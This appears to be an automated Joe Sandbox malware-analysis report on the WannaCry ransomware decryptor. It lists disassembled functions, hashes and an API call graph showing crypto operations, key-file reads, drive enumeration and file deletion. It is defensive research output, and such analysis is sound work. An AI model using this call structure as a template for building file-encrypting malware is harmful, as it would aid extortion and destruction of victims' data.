                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: fopen
                                        • String ID: f.wnry
                                        • API String ID: 1432627528-2448388194
                                        • Opcode ID: cf48eaa19fa84c87f31c2d63a6b3fa47abbd49c5c0666401f46844b5b3827a14
                                        • Instruction ID: 4eb239c0cb280e6f7c3b00bdc2b89ffa7a6027cf1f229c631d6900f059da94bf
                                        • Opcode Fuzzy Hash: cf48eaa19fa84c87f31c2d63a6b3fa47abbd49c5c0666401f46844b5b3827a14
                                        • Instruction Fuzzy Hash: CF410B311087415BE324DF3899417ABBBD4FB80321F144A3EF4E6B22C1DF789A088796
                                        Function 0040D150 Relevance: 6.1, APIs: 4, Instructions: 122COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: rand$srandtime
                                        • String ID:
                                        • API String ID: 1946231456-0
                                        • Opcode ID: aeda45b4266ec6acd211240a262b9f529a391165e32c1a7dc214254ed02393b1
                                        • Instruction ID: 99a3411600cb7ade80f66248b35b99165d2bae15bbb14ca3cd699ef114e4807e
                                        • Opcode Fuzzy Hash: aeda45b4266ec6acd211240a262b9f529a391165e32c1a7dc214254ed02393b1
                                        • Instruction Fuzzy Hash: 6E411231A083454BD314DE69D885BABFBD4AFD4710F04893EE885973C2DA78D94987E3
                                        Function 00406A00 Relevance: 6.1, APIs: 4, Instructions: 70COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #3089$#4476
                                        • String ID:
                                        • API String ID: 2870283385-0
                                        • Opcode ID: 53d97fe879bd1ae3a70958cbaed72806608eb4448782c61a221ab90d014d582e
                                        • Instruction ID: 793279239b1821bde48ff71d8c5d322d7df26b5d288dea54ba4f6719e02562de
                                        • Opcode Fuzzy Hash: 53d97fe879bd1ae3a70958cbaed72806608eb4448782c61a221ab90d014d582e
                                        • Instruction Fuzzy Hash: D91181323012018BC624EA59D584D7FB3A9EF89321B15842FE947E7391CB39ACA19B95
                                        Function 0040D0A0 Relevance: 6.1, APIs: 4, Instructions: 64COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: rand$srandtime
                                        • String ID:
                                        • API String ID: 1946231456-0
                                        • Opcode ID: bbdcb1e1a24d480e02c6f3989001f72fd3822a1270c55b374a5c1adf4e9cf230
                                        • Instruction ID: 418ba94e1263f5c278544cd72932f8c5cb06cad23ebf9749a5f73f3a0ac0752c
                                        • Opcode Fuzzy Hash: bbdcb1e1a24d480e02c6f3989001f72fd3822a1270c55b374a5c1adf4e9cf230
                                        • Instruction Fuzzy Hash: CB113D3164935106D3207A2A6C02BAFAB949FE1728F04493FE9D9962C2C46C894E83F7
                                        Function 00405180 Relevance: 6.1, APIs: 4, Instructions: 51COMMON
                                        Download Yara Rule
                                        APIs
                                        • _mbscmp.MSVCRT ref: 00405191
                                        • #860.MFC42(?), ref: 004051A1
                                        • RedrawWindow.USER32(?,00000000,00000000,00000121), ref: 004051DE
                                        • InvalidateRect.USER32(?,00000000,00000001), ref: 004051F2
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #860InvalidateRectRedrawWindow_mbscmp
                                        • String ID:
                                        • API String ID: 497622568-0
                                        • Opcode ID: 4aae586b1cfc2d6b37c47d983e66569639a31ec6a673fed4d94bf49cd6230326
                                        • Instruction ID: cf498a414c54833703d22adddad9dcc08bc55e2fe29af9a848031684a7c2f2b5
                                        • Opcode Fuzzy Hash: 4aae586b1cfc2d6b37c47d983e66569639a31ec6a673fed4d94bf49cd6230326
                                        • Instruction Fuzzy Hash: 7B01D871700B00A7D6209765DC59FDBB7E9EF98702F00442EF746EB2C0C675E4018B68
                                        Function 00412A00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 8c2876bc683c79bd0f77c5504c849a1db55fe951b0604bd7b402bcddc95cd4ad
                                        • Instruction ID: 94773d8abf21b8992377dbaff6472308c4204eb390e4227f2b12783aedecbb61
                                        • Opcode Fuzzy Hash: 8c2876bc683c79bd0f77c5504c849a1db55fe951b0604bd7b402bcddc95cd4ad
                                        • Instruction Fuzzy Hash: 070121B16016109BDA209F29EA417CBB3989F40354F08443BE545D7310F7F8E9E5CB99
                                        Function 0040DAD0 Relevance: 6.0, APIs: 4, Instructions: 45networkCOMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: closesocketsendsetsockoptshutdown
                                        • String ID:
                                        • API String ID: 4063721217-0
                                        • Opcode ID: b8ea9e4fb017428832e7fdcfab5aceec40e53c9ca13a03ff53aa9a0524c23656
                                        • Instruction ID: 511c5ca045328faec3d78f5435f76df0282562355462c5d2c83a81ecee0c9610
                                        • Opcode Fuzzy Hash: b8ea9e4fb017428832e7fdcfab5aceec40e53c9ca13a03ff53aa9a0524c23656
                                        • Instruction Fuzzy Hash: 9D014075200B40ABD3208B28C849B97B7A5AF89721F808B2CF6A9962D0D7B4A4088795
                                        Function 00404430 Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #2379$CursorEventMouseTrack
                                        • String ID:
                                        • API String ID: 2186836335-0
                                        • Opcode ID: 8cae4badaefa13b91853eadf55a8840a780c3bb417d72a3b214d508dff938200
                                        • Instruction ID: d4ee5e4a134dc88e0fb0520758ee2c50d42c0b6297011b3ab606eb820e3435c7
                                        • Opcode Fuzzy Hash: 8cae4badaefa13b91853eadf55a8840a780c3bb417d72a3b214d508dff938200
                                        • Instruction Fuzzy Hash: 1501B5B46047209BC714EF1895047EFBBD46FC4718F40881EEAC557382E6B898058B99
                                        Function 00404CF0 Relevance: 6.0, APIs: 4, Instructions: 37COMMON
                                        Download Yara Rule
                                        APIs
                                        • #2414.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D2C
                                        • #2414.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D4B
                                        • #800.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D5E
                                        • #641.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D6D
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #2414$#641#800
                                        • String ID:
                                        • API String ID: 2580907805-0
                                        • Opcode ID: 16959137cf9ed8865fc6a78509c90b23480716c09409454935714356ef62aba6
                                        • Instruction ID: 6757f658c1b9d10fae8a918e1fd1a20a9830f850e3759812b0851a74ca26fea9
                                        • Opcode Fuzzy Hash: 16959137cf9ed8865fc6a78509c90b23480716c09409454935714356ef62aba6
                                        • Instruction Fuzzy Hash: F3012975508B42CBC300DF19C54538AFBE8BBE4710F54491EE095877A1D7F851998BD6
                                        Function 00404170 Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                        Download Yara Rule
                                        APIs
                                        • #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
                                        • #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
                                        • #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
                                        • #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #800$#2414#795
                                        • String ID:
                                        • API String ID: 932896513-0
                                        • Opcode ID: de7d764f310d2b07daedf415afe273c0a0adcf5a3115b404c86b6cccc177a748
                                        • Instruction ID: 4f5e1f32c4d0deb5ef0c4e05178b03e64e757a210687b4ed5005f9af419c08f7
                                        • Opcode Fuzzy Hash: de7d764f310d2b07daedf415afe273c0a0adcf5a3115b404c86b6cccc177a748
                                        • Instruction Fuzzy Hash: A3018F74108792CFC300DF19C14138AFFE4ABA4720F54491EE091833A2D7F85198CBE6
                                        Function 00402E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON
                                        Download Yara Rule
                                        APIs
                                        • #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E44
                                        • #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E56
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #825
                                        • String ID: j'@
                                        • API String ID: 41483190-370697233
                                        • Opcode ID: 9c0cb0aced43a296d20ff8ffc4d70ac1f7ba505f3886b3a42eb6c6f4aca8c5be
                                        • Instruction ID: 592289367714aa5b9ee555d1ba3af08658367c911d5aba0fbb12e5c1e921281d
                                        • Opcode Fuzzy Hash: 9c0cb0aced43a296d20ff8ffc4d70ac1f7ba505f3886b3a42eb6c6f4aca8c5be
                                        • Instruction Fuzzy Hash: 771185B62046008FC724CF19D18096BFBE6FF99320714893EE29A97380D376EC05CBA5
                                        Function 00407650 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON
                                        Download Yara Rule
                                        APIs
                                        • #2379.MFC42 ref: 00407692
                                          • Part of subcall function 004076A0: time.MSVCRT ref: 004076DA
                                        • #2379.MFC42(00000001), ref: 00407667
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #2379$time
                                        • String ID: Wana Decrypt0r 2.0
                                        • API String ID: 2017816395-4201229886
                                        • Opcode ID: 6fa7a2fc7c6a80e94799593ebee71b884435da4c0666664eaea2c240bbcf3164
                                        • Instruction ID: 44448bb0997210edcc5ff830349606876b09c28d76a722c823a6afa91302379c
                                        • Opcode Fuzzy Hash: 6fa7a2fc7c6a80e94799593ebee71b884435da4c0666664eaea2c240bbcf3164
                                        • Instruction Fuzzy Hash: 58E08631B0491017D6117B19A942B9F51845B60724F104C3FF506FA2C2E96E7D9183DF

                                        Execution Graph

                                        Execution Coverage:3.9%
                                        Dynamic/Decrypted Code Coverage:0%
                                        Signature Coverage:0%
                                        Total number of Nodes:1683
                                        Total number of Limit Nodes:14
                                        execution_graph 5545 408c40 5546 408d5c 5545->5546 5548 408c97 5545->5548 5547 408c9d _ftol _ftol 5547->5548 5548->5546 5548->5547 6008 401140 #4710 SendMessageA SendMessageA #537 6013 401970 #3092 #6199 #800 6008->6013 6010 401199 SetTimer 6011 4011c3 CreateThread 6010->6011 6012 4011dd 6010->6012 6011->6012 6014 4012d0 6011->6014 6013->6010 6017 4012e0 sprintf sprintf GetFileAttributesA 6014->6017 6018 4013b0 fopen 6017->6018 6019 401350 6017->6019 6021 4012d9 6018->6021 6022 4013ef fread fclose sprintf fopen 6018->6022 6039 404640 InitializeCriticalSection 6019->6039 6022->6021 6024 401471 fread fclose sprintf fopen 6022->6024 6023 401359 6040 4047c0 6023->6040 6024->6021 6025 4014f2 fread fclose 6024->6025 6057 40be90 strncpy strncpy strncpy 6025->6057 6028 401377 6030 401395 DeleteFileA 6028->6030 6031 40137b 6028->6031 6029 401525 6058 40c240 6029->6058 6056 404690 DeleteCriticalSection 6030->6056 6101 404690 DeleteCriticalSection 6031->6101 6035 401575 6035->6021 6100 404640 InitializeCriticalSection 6035->6100 6037 40158c 6038 4047c0 16 API calls 6037->6038 6038->6031 6039->6023 6041 4046b0 CryptAcquireContextA 6040->6041 6043 40484e 6041->6043 6042 4048f3 6042->6028 6043->6042 6044 4049b0 7 API calls 6043->6044 6045 40486e 6044->6045 6046 4048e5 _local_unwind2 6045->6046 6048 4049b0 7 API calls 6045->6048 6046->6042 6049 40488a 6048->6049 6049->6046 6050 404895 CryptEncrypt 6049->6050 6050->6046 6051 404908 CryptDecrypt 6050->6051 6051->6046 6052 404932 strncmp 6051->6052 6053 404984 6052->6053 6054 40495e _local_unwind2 6052->6054 6102 4049a6 6053->6102 6054->6028 6056->6018 6057->6029 6059 40c25f 6058->6059 6060 40bed0 110 API calls 6059->6060 6061 40c29b 6060->6061 6062 40c2a2 6061->6062 6063 40c2c8 6061->6063 6064 40c2bc 6062->6064 6065 40c2ad SendMessageA 6062->6065 6066 40c2e5 6063->6066 6067 40c2d9 SendMessageA 6063->6067 6069 40dbf0 free 6064->6069 6065->6064 6068 40dc00 4 API calls 6066->6068 6067->6066 6070 40c2f8 6068->6070 6095 40c3d8 6069->6095 6071 40dc00 4 API calls 6070->6071 6072 40c313 6071->6072 6073 40dd00 4 API calls 6072->6073 6074 40c324 6073->6074 6075 40dd00 4 API calls 6074->6075 6076 40c335 6075->6076 6077 40dc00 4 API calls 6076->6077 6078 40c350 6077->6078 6079 40dc00 4 API calls 6078->6079 6080 40c36b 6079->6080 6081 40dc00 4 API calls 6080->6081 6082 40c37d 6081->6082 6083 40c3e0 6082->6083 6084 40c3a9 6082->6084 6085 40c3f0 6083->6085 6086 40c3e4 SendMessageA 6083->6086 6087 40c3b9 6084->6087 6088 40c3ad SendMessageA 6084->6088 6089 40c419 6085->6089 6090 40c44d 6085->6090 6086->6085 6091 40dbf0 free 6087->6091 6088->6087 6092 40c429 6089->6092 6093 40c41d SendMessageA 6089->6093 6094 40c49c 6090->6094 6097 40c45e fopen 6090->6097 6091->6095 6099 40dbf0 free 6092->6099 6093->6092 6094->6064 6096 40c4a0 SendMessageA 6094->6096 6095->6035 6096->6064 6097->6094 6098 40c479 fwrite fclose 6097->6098 6098->6094 6099->6095 6100->6037 6101->6021 6103 404770 3 API calls 6102->6103 6104 4049ad 6103->6104 6104->6042 6228 409a40 6232 409d40 6228->6232 6231 409ae7 #2414 #2414 6233 409a87 OffsetRect CreateRectRgn #1641 #5781 6232->6233 6233->6231 6471 409f40 PtVisible 6472 40cf40 6480 40d300 6472->6480 6474 40cf61 6475 40d300 6 API calls 6474->6475 6476 40cf66 6474->6476 6477 40cf87 6475->6477 6478 40d300 6 API calls 6477->6478 6479 40cf8c 6477->6479 6478->6479 6481 40d31f 6480->6481 6482 40d32e 6480->6482 6481->6474 6483 40d339 6482->6483 6484 40d373 time 6482->6484 6486 40d363 6482->6486 6487 40d378 6482->6487 6483->6474 6488 40d493 6484->6488 6489 40d41e 6484->6489 6502 40d2b0 6486->6502 6491 40d3b0 6487->6491 6492 40d380 6487->6492 6493 40d4b1 6488->6493 6498 40d4a8 free 6488->6498 6489->6488 6500 40d487 time 6489->6500 6501 40d469 Sleep 6489->6501 6506 412a90 malloc 6491->6506 6494 40d2b0 memmove 6492->6494 6493->6474 6494->6484 6496 40d3b6 6497 40d3c1 6496->6497 6499 40d2b0 memmove 6496->6499 6497->6474 6498->6493 6499->6484 6500->6488 6500->6489 6501->6489 6503 40d2f5 6502->6503 6504 40d2be 6502->6504 6503->6484 6505 40d2c3 memmove 6504->6505 6505->6503 6505->6505 6506->6496 5549 404050 #616 5550 404068 5549->5550 5551 40405f #825 5549->5551 5551->5550 6105 404150 6110 404170 #2414 #800 #800 #795 6105->6110 6107 404158 6108 404168 6107->6108 6109 40415f #825 6107->6109 6109->6108 6110->6107 6234 403250 6235 403261 #825 6234->6235 6236 40326a 6234->6236 6235->6236 6237 407650 6238 40765e 6237->6238 6241 407670 6237->6241 6239 4076a0 20 API calls 6238->6239 6242 407665 #2379 6239->6242 6240 407690 #2379 6241->6240 6243 40b620 9 API calls 6241->6243 6244 40768d 6243->6244 6244->6240 6245 413254 _exit 6111 413556 ??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE 5417 405a60 5464 40b620 FindWindowW 5417->5464 5421 405aab #2514 5487 403f20 #2414 5421->5487 5423 405ae9 5488 403f20 #2414 5423->5488 5425 405b04 5489 403f20 #2414 5425->5489 5427 405b1f 5490 403f20 #2414 5427->5490 5429 405b3f 5491 403f20 #2414 5429->5491 5431 405b5a 5492 403f20 #2414 5431->5492 5433 405b75 5493 403f20 #2414 5433->5493 5435 405b90 5494 403f20 #2414 5435->5494 5437 405bab 5495 403f20 #2414 5437->5495 5439 405bc6 5496 403f20 #2414 5439->5496 5441 405be1 5497 403f20 #2414 5441->5497 5443 405bfc 5498 403f90 #2414 5443->5498 5445 405c10 5499 403f90 #2414 5445->5499 5447 405c24 #800 #800 #800 #800 #781 5500 4050a0 #800 #795 5447->5500 5449 405c9c 5501 4050a0 #800 #795 5449->5501 5451 405cb0 5502 404170 #2414 #800 #800 #795 5451->5502 5453 405cc4 5503 404170 #2414 #800 #800 #795 5453->5503 5455 405cd8 5504 404170 #2414 #800 #800 #795 5455->5504 5457 405cec 5505 404170 #2414 #800 #800 #795 5457->5505 5459 405d00 5506 405d90 #654 #765 5459->5506 5461 405d14 5507 405d90 #654 #765 5461->5507 5463 405d28 #609 #609 #616 #641 5465 40b634 7 API calls 5464->5465 5466 405a8a #1134 #2621 #6438 5464->5466 5465->5466 5467 40b687 ExitProcess 5465->5467 5468 4060e0 #324 #567 #567 #567 5466->5468 5508 4085c0 7 API calls 5468->5508 5470 406162 5471 4085c0 9 API calls 5470->5471 5472 406172 5471->5472 5512 404090 7 API calls 5472->5512 5474 406182 5513 404090 7 API calls 5474->5513 5476 406192 5514 404090 7 API calls 5476->5514 5478 4061a2 5515 404090 7 API calls 5478->5515 5480 4061b2 5516 405000 #567 #540 5480->5516 5482 4061c2 5483 405000 2 API calls 5482->5483 5484 4061d2 #567 #540 #540 #540 #540 5483->5484 5518 407640 5484->5518 5486 4062cb 7 API calls 5486->5421 5487->5423 5488->5425 5489->5427 5490->5429 5491->5431 5492->5433 5493->5435 5494->5437 5495->5439 5496->5441 5497->5443 5498->5445 5499->5447 5500->5449 5501->5451 5502->5453 5503->5455 5504->5457 5505->5459 5506->5461 5507->5463 5509 408660 #6140 5508->5509 5510 408654 5508->5510 5509->5470 5510->5509 5511 40865a GetSysColor 5510->5511 5511->5509 5512->5474 5513->5476 5514->5478 5515->5480 5517 40504a 5516->5517 5517->5482 5518->5486 5552 403860 SendMessageA 5553 403892 SendMessageA 5552->5553 5554 403883 #1200 5552->5554 5555 4038d1 5553->5555 5556 4038a5 SendMessageA CreateThread 5553->5556 5556->5555 5557 4038e0 5556->5557 5560 4038f0 5557->5560 5559 4038e9 5579 403eb0 6 API calls 5560->5579 5562 403916 SendMessageA 5563 4039e1 5562->5563 5564 403937 SendMessageA 5562->5564 5626 403eb0 6 API calls 5563->5626 5565 403951 5564->5565 5566 403958 5564->5566 5580 403af0 fopen 5565->5580 5597 401e90 5566->5597 5569 4039ea CloseHandle 5569->5559 5571 403961 sprintf 5602 402020 5571->5602 5573 403998 5574 40399c 5573->5574 5611 403a20 5573->5611 5575 4039cd 5574->5575 5578 4039c8 #1200 5574->5578 5619 401f30 5575->5619 5578->5575 5579->5562 5581 403b41 5580->5581 5582 403b28 5580->5582 5583 401e90 InitializeCriticalSection 5581->5583 5582->5566 5584 403b4d 5583->5584 5585 402020 14 API calls 5584->5585 5586 403b67 5585->5586 5587 403b6b 5586->5587 5595 403b9b 5586->5595 5588 401f30 6 API calls 5587->5588 5590 403b82 5588->5590 5589 403c61 fclose 5591 401f30 6 API calls 5589->5591 5590->5566 5593 403c8f 5591->5593 5592 403bb2 fgets 5594 403c5f 5592->5594 5592->5595 5593->5566 5594->5589 5595->5589 5595->5592 5595->5594 5627 402650 MultiByteToWideChar 5595->5627 5719 404640 InitializeCriticalSection 5597->5719 5599 401eb6 5720 404640 InitializeCriticalSection 5599->5720 5601 401ec4 5601->5571 5721 4046f0 5602->5721 5604 402031 5605 402035 5604->5605 5606 402048 GlobalAlloc 5604->5606 5607 4046f0 12 API calls 5604->5607 5605->5573 5608 402061 5606->5608 5609 402066 GlobalAlloc 5606->5609 5607->5606 5608->5573 5610 402079 5609->5610 5610->5573 5612 403a32 GetLogicalDrives 5611->5612 5613 403adc 5611->5613 5617 403a48 5612->5617 5613->5574 5614 403a53 GetDriveTypeW 5615 403a81 GetDiskFreeSpaceExW 5614->5615 5614->5617 5615->5617 5616 403ace 5616->5574 5617->5614 5617->5616 5759 4026b0 5617->5759 5849 401fa0 5619->5849 5621 401f60 5858 404690 DeleteCriticalSection 5621->5858 5623 401f7a 5859 404690 DeleteCriticalSection 5623->5859 5625 401f8a 5625->5563 5626->5569 5630 402560 wcscpy wcsrchr 5627->5630 5629 40269a 5629->5595 5631 4025c9 wcscat 5630->5631 5632 402599 _wcsicmp 5630->5632 5633 4025bd 5631->5633 5632->5633 5634 4025ae _wcsicmp 5632->5634 5643 4020a0 CreateFileW 5633->5643 5634->5631 5634->5633 5636 4025eb 5637 402629 DeleteFileW 5636->5637 5638 4025ef DeleteFileW 5636->5638 5639 402634 5637->5639 5638->5639 5640 4025fa 5638->5640 5639->5629 5641 402617 5640->5641 5642 4025fe MoveFileW 5640->5642 5641->5629 5642->5629 5644 402143 GetFileTime ReadFile 5643->5644 5662 402139 _local_unwind2 5643->5662 5646 40217c 